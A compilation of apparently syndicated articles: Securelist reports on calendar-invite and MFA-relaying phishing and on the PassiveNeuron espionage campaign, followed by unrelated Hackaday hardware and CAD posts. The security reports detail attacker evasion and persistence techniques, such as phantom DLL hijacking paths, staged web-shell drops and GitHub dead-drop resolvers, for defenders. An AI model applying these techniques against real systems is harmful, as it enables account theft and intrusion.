The use of calendar events as a spam technique, which was popular in the late 2010s but gradually faded away after 2019, is a relatively old tactic. The concept is straightforward: attackers send an email that contains a calendar appointment. The body of the email may be empty, but a phishing link is concealed in the event description.

Blank email with a phishing link in the calendar appointment

When the recipient opens the email, the event is added to their calendar – along with the link. If the user accepts the meeting without thoroughly reviewing it, they will later receive a reminder about it from the calendar application. As a result, they risk landing on the phishing website, even if they chose not to open the link directly in the original message.

In 2025, phishers revived this old tactic. However, unlike the late 2010s, when these campaigns were primarily mass mailshots designed with Google Calendar in mind, they are now being used in B2B phishing and specifically target office workers.

Phishing sign-in form for a Microsoft account from a calendar phishing attack

Verifying existing accounts

Attackers are not just updating the methods they use to deliver phishing content, but also the phishing websites. Often, even the most primitive-looking email campaigns distribute links to pages that utilize new techniques.

Voice message phishing

For example, we observed a minimalistic email campaign crafted to look like an alert about a voice message left for the user. The body of the email contained only a couple of sentences, often with a space in the word “voice”, and a link. The link led to a simple landing page that invited the recipient to listen to the message.

Landing page that opens when clicking the link in the phishing email

However, if the user clicks the button, the path does not lead to a single page but rather a chain of verification pages that employ CAPTCHA. The purpose is likely to evade detection by security bots.

The CAPTCHA verification chain

After repeatedly proving they are not a bot, the user finally lands on a website designed to mimic a Google sign-in form.

The phishing sign-in form

This page is notable for validating the Gmail address the user enters and displaying an error if it is not a registered email.

Error message

If the victim enters a valid address, then, regardless whether the password is correct or not, the phishing site will display another similar page, with a message indicating that the password is invalid. In both scenarios, clicking “Reset Session” opens the email input form again. If a distracted user attempts to log in by trying different accounts and passwords, all of these end up in the hands of the attackers.

MFA evasion

Because many users protect their accounts with multi-factor authentication, scammers try to come up with ways to steal not just passwords but also one-time codes and other verification data. Email phishing campaigns that redirect users to sites designed to bypass MFA can vary significantly in sophistication. Some campaigns employ primitive tactics, while others use well-crafted messages that are initially difficult to distinguish from legitimate ones. Let’s look at an email that falls in the latter category.

Phishing email that mimics a pCloud notification

Unlike most phishing emails that try to immediately scare the user or otherwise grab their attention, the subject here is quite neutral: a support ticket update from the secure cloud storage provider pCloud that asks the user to evaluate the quality of the service. No threats or urgent calls to action. If the user attempts to follow the link, they are taken to a phishing sign-in form visually identical to the original, but with one key difference: instead of pcloud.com, the attackers use a different top-level domain, p-cloud.online.

The phishing sign-in form

At every step of the user’s interaction with the form on the malicious site, the site communicates with the real pCloud service via an API. Therefore, if a user enters an address that is not registered with the service, they will see an error, as if they were signing in to pcloud.com. If a real address is entered, a one-time password (OTP) input form opens, which pCloud also requests when a user tries to sign in.

OTP input form

Since the phishing site relays all entered data to the real service, an attempt to trick the verification process will fail: if a random combination is entered, the site will respond with an error.

Attempting to bypass verification

The real OTP is sent by the pCloud service to the email address the user provided on the phishing site.

OTP email

Once the user has “verified” the account, they land on the password input form; this is also requested by the real service. After this step, the phishing page opens a copy of the pCloud website, and the attacker gains access to the victim’s account. We have to give credit to the scammers: this is a high-quality copy. It even includes a default folder with a default image identical to the original, which may delay the user’s realization that they have been tricked.

Password input form

Conclusion

Threat actors are increasingly employing diverse evasion techniques in their phishing campaigns and websites. In email, these techniques include PDF documents containing QR codes, which are not as easily detected as standard hyperlinks. Another measure is password protection of attachments. In some instances, the password arrives in a separate email, adding another layer of difficulty to automated analysis. Attackers are protecting their web pages with CAPTCHAs, and they may even use more than one verification page. Concurrently, the credential-harvesting schemes themselves are becoming more sophisticated and convincing.

To avoid falling victim to phishers, users must stay sharp:

• Treat unusual attachments, such as password-protected PDFs or documents using a QR code instead of a link to a corporate website, with suspicion.
• Before entering credentials on any web page, verify that the URL matches the address of the legitimate online service.

Organizations are advised to conduct regular security training for employees to keep them up-to-date on the latest techniques being used by threat actors. We also recommend implementing a reliable solution for email server security. For example, Kaspersky Security for Mail Server detects and blocks all the attack methods described in this article.

securelist.com/email-phishing-…

Introduction

Back in 2024, we gave a brief description of a complex cyberespionage campaign that we dubbed “PassiveNeuron”. This campaign involved compromising the servers of government organizations with previously unknown APT implants, named “Neursite” and “NeuralExecutor”. However, since its discovery, the PassiveNeuron campaign has been shrouded in mystery. For instance, it remained unclear how the implants in question were deployed or what actor was behind them.

After we detected this campaign and prevented its spreading back in June 2024, we did not see any further malware deployments linked to PassiveNeuron for quite a long time, about six months. However, since December 2024, we have observed a new wave of infections related to PassiveNeuron, with the latest ones dating back to August 2025. These infections targeted government, financial and industrial organizations located in Asia, Africa, and Latin America. Since identifying these infections, we have been able to shed light on many previously unknown aspects of this campaign. Thus, we managed to discover details about the initial infection and gather clues on attribution.

SQL servers under attack

While investigating PassiveNeuron infections both in 2024 and 2025, we found that a vast majority of targeted machines were running Windows Server. Specifically, in one particular infection case, we observed attackers gain initial remote command execution capabilities on the compromised server through the Microsoft SQL software. While we do not have clear visibility into how attackers were able to abuse the SQL software, it is worth noting that SQL servers typically get compromised through:

• Exploitation of vulnerabilities in the server software itself
• Exploitation of SQL injection vulnerabilities present in the applications running on the server
• Getting access to the database administration account (e.g. by brute-forcing the password) and using it to execute malicious SQL queries

After obtaining the code execution capabilities with the help of the SQL software, attackers deployed an ASPX web shell for basic malicious command execution on the compromised machine. However, at this stage, things did not go as planned for the adversary. The Kaspersky solution installed on the machine was preventing the web shell deployment efforts, and the process of installing the web shell ended up being quite noisy.

In attempts to evade detection of the web shell, attackers performed its installation in the following manner:

1. They dropped a file containing the Base64-encoded web shell on the system.
2. They dropped a PowerShell script responsible for Base64-decoding the web shell file.
3. They launched the PowerShell script in an attempt to write the decoded web shell payload to the filesystem.

As Kaspersky solutions were preventing the web shell installation, we observed attackers to repeat the steps above several times with minor adjustments, such as:

• Using hexadecimal encoding of the web shell instead of Base64
• Using a VBS script instead of a PowerShell script to perform decoding
• Writing the script contents in a line-by-line manner

Having failed to deploy the web shell, attackers decided to use more advanced malicious implants to continue the compromise process.

Malicious implants

Over the last two years, we have observed three implants used over the course of PassiveNeuron infections, which are:

• Neursite, a custom C++ modular backdoor used for cyberespionage activities
• NeuralExecutor, a custom .NET implant used for running additional .NET payloads
• the Cobalt Strike framework, a commercial tool for red teaming

While we saw different combinations of these implants deployed on targeted machines, we observed that in the vast majority of cases, they were loaded through a chain of DLL loaders. The first-stage loader in the chain is a DLL file placed in the system directory. Some of these DLL file paths are:

• C:\Windows\System32\wlbsctrl.dll
• C:\Windows\System32\TSMSISrv.dll
• C:\Windows\System32\oci.dll

Storing DLLs under these paths has been beneficial to attackers, as placing libraries with these names inside the System32 folder makes it possible to automatically ensure persistence. If present on the file system, these DLLs get automatically loaded on startup (the first two DLLs are loaded into the svchost.exe process, while the latter is loaded into msdtc.exe) due to the employed Phantom DLL Hijacking technique.

It also should be noted that these DLLs are more than 100 MB in size — their size is artificially inflated by attackers by adding junk overlay bytes. Usually, this is done to make malicious implants more difficult to detect by security solutions.

On startup, the first-stage DLLs iterate through a list of installed network adapters, calculating a 32-bit hash of each adapter’s MAC address. If neither of the MAC addresses is equal to the value specified in the loader configuration, the loader exits. This MAC address check is designed to ensure that the DLLs get solely launched on the intended victim machine, in order to hinder execution in a sandbox environment. Such detailed narrowing down of victims implies the adversary’s interest towards specific organizations and once again underscores the targeted nature of this threat.

Having checked that it is operating on a target machine, the loader continues execution by loading a second-stage loader DLL that is stored on disk. The paths where the second-stage DLLs were stored as well as their names (examples include elscorewmyc.dll and wellgwlserejzuai.dll) differed between machines. We observed the second-stage DLLs to also have an artificially inflated file size (in excess of 60 MB), and the malicious goal was to open a text file containing a Base64-encoded and AES-encrypted third-stage loader, and subsequently launch it.

Snippet of the payload file contents

This payload is a DLL as well, responsible for launching a fourth-stage shellcode loader inside another process (e.g. WmiPrvSE.exe or msiexec.exe) which is created in suspended mode. In turn, this shellcode loads the final payload: a PE file converted to a custom executable format.

In summary, the process of loading the final payload can be represented with the following graph:

Final payload loading

It is also notable that attackers attempted to use slightly different variants of the loading scheme for some of the target organizations. For example, we have seen cases without payload injection into another process, or with DLL obfuscation on disk with VMProtect.

The Neursite backdoor

Among the three final payload implants that we mentioned above, the Neursite backdoor is the most potent one. We dubbed it so because we observed the following source code path inside the discovered samples: E:\pro\code\Neursite\client_server\nonspec\mbedtls\library\ssl_srv.c. The configuration of this implant contains the following parameters:

• List of C2 servers and their ports
• List of HTTP proxies that can be used to connect to C2 servers
• List of HTTP headers used while connecting to HTTP-based C2 servers
• A relative URL used while communicating with HTTP-based C2 servers
• A range of wait time between two consecutive C2 server connections
• A byte array of hours and days of the week when the backdoor is operable
• An optional port that should be opened for listening to incoming connections

The Neursite implant can use the TCP, SSL, HTTP and HTTPS protocols for C2 communications. As follows from the configuration, Neursite can connect to the C2 server directly or wait for another machine to start communicating through a specified port. In cases we observed, Neursite samples were configured to use either external servers or compromised internal infrastructure for C2 communications.

The default range of commands implemented inside this backdoor allows attackers to:

• Retrieve system information.
• Manage running processes.
• Proxy traffic through other machines infected with the Neursite implant, in order to facilitate lateral movement.

Additionally, this implant is equipped with a component that allows loading supplementary plugins. We observed attackers deploy plugins with the following capabilities:

• Shell command execution
• File system management
• TCP socket operations

The NeuralExecutor loader

NeuralExecutor is another custom implant deployed over the course of the PassiveNeuron campaign. This implant is .NET based, and we found that it employed the open-source ConfuserEx obfuscator for protection against analysis. It implements multiple methods of network communication, namely TCP, HTTP/HTTPS, named pipes, and WebSockets. Upon establishing a communication channel with the C2 server, the backdoor can receive commands allowing it to load .NET assemblies. As such, the main capability of this backdoor is to receive additional .NET payloads from the network and execute them.

Tricky attribution

Both Neursite and NeuralExecutor, the two custom implants we found to be used in the PassiveNeuron campaign, have never been observed in any previous cyberattacks. We had to look for clues that could hint at the threat actor behind PassiveNeuron.

Back when we started investigating PassiveNeuron back in 2024, we spotted one such blatantly obvious clue:

Function names found inside NeuralExecutor

In the code of the NeuralExecutor samples we observed in 2024, the names of all functions had been replaced with strings prefixed with “Супер обфускатор”, the Russian for “Super obfuscator”. It is important to note, however, that this string was deliberately introduced by the attackers while using the ConfuserEx obfuscator. When it comes to strings that are inserted into malware on purpose, they should be assessed carefully during attribution. That is because threat actors may insert strings in languages they do not speak, in order to create false flags intended to confuse researchers and incident responders and prompt them to make an error of judgement when trying to attribute the threat. For that reason, we attached little evidential weight to the presence of the “Супер обфускатор” string back in 2024.

After examining the NeuralExecutor samples used in 2025, we found that the Russian-language string had disappeared. However, this year we noticed another peculiar clue related to this implant. While the 2024 samples were designed to retrieve the C2 server addresses straight from the configuration, the 2025 ones did so by using the Dead Drop Resolver technique. Specifically, the new NeuralExecutor samples that we found were designed to retrieve the contents of a file stored in a GitHub repository, and extract a string from it:

Contents of the configuration file stored on GitHub

The malware locates this string by searching for two delimiters, wtyyvZQY and stU7BU0R, that mark the start and the end of the configuration data. The bytes of this string are then Base64-decoded and decrypted with AES to obtain the C2 server address.

Snippet of the implant configuration

It is notable that this exact method of obtaining C2 server addresses from GitHub, using a string containing delimiter sequences, is quite popular among Chinese-speaking threat actors. For instance, we frequently observed it being used in the EastWind campaign, which we previously connected to the APT31 and APT27 Chinese-speaking threat actors.

Furthermore, during our investigation, we learned one more interesting fact that could be useful in attribution. We observed numerous attempts to deploy the PassiveNeuron loader in one particular organization. After discovering yet another failed deployment, we have detected a malicious DLL named imjp14k.dll. An analysis of this DLL revealed that it had the PDB path G:\Bee\Tree(pmrc)\Src\Dll_3F_imjp14k\Release\Dll.pdb. This PDB string was referenced in a report by Cisco Talos on activities likely associated with the threat actor APT41. Moreover, we identified that the discovered DLL exhibits the same malicious behavior as described in the Cisco Talos report. However, it remains unclear why this DLL was uploaded to the target machine. Possible explanations could be that the attackers deployed it as a replacement for the PassiveNeuron-related implants, or that it was used by another actor who compromised the organization simultaneously with the attackers behind PassiveNeuron.

When dealing with attribution of cyberattacks that are known to involve false flags, it is difficult to understand which attribution indicators to trust, or whether to trust any at all. However, the overall TTPs of the PassiveNeuron campaign most resemble the ones commonly employed by Chinese-speaking threat actors. Since TTPs are usually harder to fake than indicators like strings, we are, as of now, attributing the PassiveNeuron campaign to a Chinese-speaking threat actor, albeit with a low level of confidence.

Conclusion

The PassiveNeuron campaign has been distinctive in the way that it primarily targets server machines. These servers, especially the ones exposed to the internet, are usually lucrative targets for APTs, as they can serve as entry points into target organizations. It is thus crucial to pay close attention to the protection of server machines. Wherever possible, the attack surface associated with these servers should be reduced to a minimum, and all server applications should be monitored to prevent emerging infections in a timely manner. Specific attention should be paid to protecting applications against SQL injections, which are commonly exploited by threat actors to obtain initial access. Another thing to focus on is protection against web shells, which are deployed to facilitate compromise of servers.

Indicators of compromise

PassiveNeuron-related loader files
12ec42446db8039e2a2d8c22d7fd2946
406db41215f7d333db2f2c9d60c3958b
44a64331ec1c937a8385dfeeee6678fd
8dcf258f66fa0cec1e4a800fa1f6c2a2
d587724ade76218aa58c78523f6fa14e
f806083c919e49aca3f301d082815b30

Malicious imjp14k.dll DLL
751f47a688ae075bba11cf0235f4f6ee

securelist.com/passiveneuron-c…

If you think about it, STL files are like PDF files. You usually create them using some other program, export them, and then expect them to print. But you rarely do serious editing on a PDF or an STL. But what if you don’t have anything but the STL? [The Savvy Engineer] has a method to help you if you need to reverse engineer an STL file in FreeCAD. Check it out in the video below.

The problem is, of course, that STLs are made up of numerous little triangles. The trick is to switch workbenches and create a shape from mesh. That gets you part of the way.

Once you have a shape, you can convert it to a solid. At that point, you can create a refined copy. This gives you a proper CAD file that you can export to a STEP file. From there, you can use it in FreeCAD or nearly any other CAD package you like to use.

Once you have a proper object, you can easily use it like any other solid body in your CAD program. This is one of those things you won’t need every day, but when you do need it, it’ll come in handy.

Want to up your FreeCAD game? We can help. There are other ways to hack up STL files. You can even import them into TinkerCAD to do simple things, but they still aren’t proper objects.

youtube.com/embed/TddS7qhcDng?…

hackaday.com/2025/10/21/revers…

One downside of working with the old Inmos Transputer devices is the rarity and cost of the original silicon. Obviously, you can’t sidestep the acquisition of the processor—unless you emulate—but what about replacing the IMS C011/C012 link chip? You need this (expensive) part to interface the transputer to the programming host, but as [Erturk Kocalar] discovered, it’s perfectly possible to coax a Teensy to do that job for you just as well.
The unusual two-bit start sequence differentiates a data packet from an ACK. It’s simple to emulate if you use the LSB of a 9-bit word as a dummy start bit!
Transputers work by utilizing an array of bit serial interfaces to connect a network of devices, allowing for cooperative computation on tasks too large to fit on a single device. This protocol is, at its link level, a simple asynchronous bit serial affair, with 11-bit data messages, and a raw two-bit frame for the acknowledge. The C011 device at its heart is just a specialized UART—it takes 8-bit parallel data from the host, dealing with handshaking, and pushes it out to the first transputer in the chain at 5, 10 or 20 Mbps, but inverted and with two start bits and a single stop bit. In parallel, it performs the same task in the reverse direction.

[Erturk] realized that the Teensy UART has an inverted mode and, crucially, a 9-bit data mode. This allows the second start bit to be generated as bit 0 of the word, with the remaining eight bits forming the payload. Simple stuff. Additionally, the Teensy UART is capable of the maximum transputer bitrate of 20 Mbps, without breaking a sweat.

There is a slight issue, however, in that there is no way to send or receive the two-cycle acknowledgement frame directly. Since the protocol stop bit is a low, it is possible to implement this by simply sending a dummy data word with all 9 data bits low (since the acknowledge is a ‘1’, ‘0’ pattern). In one specific corner case, that of a direct memory PEEK operation, the command is clocked into the transputer, which sends back a two-cycle ACK—almost immediately followed by the 11-cycle data packet with the result. But, since the Teensy UART is still busy ‘fake decoding’ the full 11-bit dummy ACK message, it will miss the data packet entirely.

It turns out that the easiest way to get around this is to speed up the link and run at the maximum 20 Mbps rate. That way, the Teensy will have fully received the overly-long ACK long before the transputer has completed the PEEK command and started to send over the result. Why you would voluntarily run the link slower escapes us, once you’d got the design dialled in and reliability was a given, anyway.

We like transputers, a cool technology that died too soon. Here’s a quick guide to these innovative devices. Some people are really into transputer hardware, like this person. Finally, with the genuine hardware finicky to work with, expensive and hard to find, you could play along with your trusty web browser, and tick it off your nerdy bucket list.

hackaday.com/2025/10/20/puttin…

The physical layout of the SCHEME-78 LISP-based microprocessor by Steele and Sussman. (Source: ACM, Vol 23, Issue 11, 1980)
During the AI research boom of the 1970s, the LISP language – from LISt Processor – saw a major surge in use and development, including many dialects being developed. One of these dialects was Scheme, developed by [Guy L. Steele] and [Gerald Jay Sussman], who wrote a number of articles that were published by the Massachusetts Institute of Technology (MIT) AI Lab as part of the AI Memos. This subset, called the Lambda Papers, cover the ideas from both men about lambda calculus, its application with LISP and ultimately the 1980 paper on the design of a LISP-based microprocessor.

Scheme is notable here because it influenced the development of what would be standardized in 1994 as Common Lisp, which is what can be called ‘modern Lisp’. The idea of creating dedicated LISP machines was not a new one, driven by the processing requirements of AI systems. The mismatch between the S-expressions of LISP and the typical way that assembly uses the CPUs of the era led to the development of CPUs with dedicated hardware support for LISP.

The design described by [Steele] and [Sussman] in their 1980 paper, as featured in the Communications of the ACM, features an instruction set architecture (ISA) that matches the LISP language more closely. As described, it is effectively a hardware-based LISP interpreter, implemented in a VLSI chip, called the SCHEME-78. By moving as much as possible into hardware, obviously performance is much improved. This is somewhat like how today’s AI boom is based around dedicated vector processors that excel at inference, unlike generic CPUs.

During the 1980s LISP machines began to integrate more and more hardware features, with the Symbolics and LMI systems featuring heavily. Later these systems also began to be marketed towards non-AI uses like 3D modelling and computer graphics. As however funding for AI research dried up and commodity hardware began to outpace specialized processors, so too did these systems vanish.

Top image: Symbolics 3620 and LMI Lambda Lisp machines (Credit: Jason Riedy)

hackaday.com/2025/10/20/the-la…

Testing the FOC-based motor controller. (Credit: Excessive Overkill, YouTube)
Vector Control, also known as Field Oriented Control or FOC is an AC motor control scheme that enables fine-grained control over a connected motor, through the precise control of its phases. In a recent video [Excessive Overkill] goes through the basics and then the finer details of how FOC works, as well as how to implement it. These controllers generally uses a proportional integral (PI) loop, capable of measuring and integrating the position of the connected motor, thus allowing for precise adjustments of the applied vector.

If this controller looks familiar, it is because we featured it previously in the context of reviving old industrial robotic arms. Whether you are driving the big motors on an industrial robot, or a much smaller permanent magnet AC (PMAC) motor, FOV is very likely the control mechanism that you want to use for the best results. Of note is that most BLDC motors are actually also PMACs with ESC to provide a DC interface.

The actual driving is done with two MOSFETs per phase, forming a half-bridge, switching between the two rails to create the requisite PWM signal for each phase. Picking the right type of MOSFET was somewhat hard, especially due to the high switching currents and the high frequency at 25 kHz. The latter was picked to prevent audible noise while driving a robot. Ultimately SiC MOSFETs were picked, specially the GeneSiC G3R30MT12K. Of note here are the four legs, with a fourth Kelvin Source pin added. This is to deal with potential gate drive issues that are explained in the video.

With the hardware in place, whether following the [Excessive Overkill] GitHub projects or not, what makes all of it work is the software. This is where the microcontroller aspect is essential, as it has to do all the heavy lifting of calculating the new optimal vector and thus the current levels per phase. In this controller an STM32F413 is used, which generates the PWM signals to drive the half-bridges, while reading the measurements from the motors with its ADC.

As can be seen in the resulting use of this controller with old industrial robots, the FOC controller works quite well, with quiet and smooth operation. This performance is why we’re likely to see FOC and PMAC motors used in applications like 3D printers in the future, though the rule of ‘good enough’ makes the cost of an FOC controller still a tough upsell over a simple open loop stepper-based system.

youtube.com/embed/ujofKWmGChw?…

hackaday.com/2025/10/20/high-p…

Let’s say you want to blink an LED. You might grab an Arduino and run the Blink sketch, or you might lace up a few components to a 555. But you needn’t go so fancy! [The Design Graveyard] explains how this same effect can be achieved with a single transistor.

The circuit in question is rather odd at first blush. The BC547 NPN transistor is hooked up between an LED and a resistor leading to a 12V DC line, with a capacitor across the emitter and collector. Meanwhile, the base is connected to… nothing! It’s just free-floating in the universe of its own accord. You might expect this circuit to do nothing at all, but if you power it up, the LED will actually start to flash.

The mechanism at play is relatively simple. The capacitor charges to 12 volts via the resistor. At this point, the transistor, which is effectively just acting as a poor diode in this case, undergoes avalanche breakdown at about 8.5 to 9 volts, and starts conducting. This causes the capacitor to discharge via the LED, until the voltage gets low enough that the transistor stops conducting once again. Then, the capacitor begins to charge back up, and the cycle begins again.

It’s a weird way to flash an LED, and it’s not really the normal way to use a transistor—you’re very much running it out of spec. Regardless, it does work for a time! We’ve looked at similar circuits before too. Video after the break.

youtube.com/embed/Yw6L5w4TDxw?…

[Thanks to Vik Olliver for the tip!]

hackaday.com/2025/10/20/blinki…